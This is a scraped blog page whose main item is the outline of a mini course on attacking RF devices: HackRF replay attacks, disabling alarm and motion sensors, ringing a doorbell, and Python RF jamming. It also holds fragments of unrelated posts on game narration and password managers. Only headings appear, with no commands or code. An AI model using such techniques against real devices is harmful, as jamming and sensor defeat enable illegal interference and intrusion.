But: I know that this is a technique some other narrators have used in the past, and I'd very much be interested to hear others' thoughts on it. Have you used optional challenges? What did they represent in your game? And how did you ensure that you knew it was fine to move the game forward? Write in, and let me know!

4/14/20

This will be a Mini Course on Attacking Devices with RF from a hackers perspective

Items needed to Follow Along:

Purchase Target:

Purchase Tools Needed:

Penetration Testing BrainStorming Session:

Video Series PlayList Associated with this blog:

Initial Profiling of our Device:

Replay attacks with HackRF To Trigger / Disable Sensors:

Install HackRF Software:

Simple Replay Commands:

Receive: (Capture Traffic from HackRF):

Transmit: (Trigger alarm from HackRF)

Further Profiling our Devices Functionality:

GQRX Install:

Decoding Signal Patterns for Sending With The YardStick One:

Documented Process:

Troubleshooting Extra Steps:

Record Transmission with GQRX:

Install Audacity:

Decode to binary:

Convert to Hex:

Install RFCat and Dependencies(libusb, pyusb):

Setting up your python Replay Attack:

Ring Doorbell with Yardstick (First Attempt):

Doorbell with Yardstick (TroubleShooting):

Disable the Motion Sensor with No Motion Feature:

Testing / Troubleshooting:

Jamming RF With Python:

RF Jamming and the FCC:

From the FCC: https://apps.fcc.gov/edocs_public/attachmatch/DA-12-1642A1.pdf

Notes On the reality of Criminals:

Jamming in Python:

Use a Faraday cage for your security testing:

#--------RF_Emp.py Simple Version --------#:

Notes on using Virtual Machines:

Whats next:

Related posts

Related posts

BEST PASSWORD MANAGERS FOR IOS

1. ONESAFE PASSWORD MANAGER (CROSS-PLATFORM)

2. SPLASHID SAFE PASSWORD MANAGER (CROSS-PLATFORM)

3. LOGIN BOX PRO PASSWORD MANAGER

More information

Read more

More information

4/12/20

4/9/20

Blog Archive

Subscribe To

Followers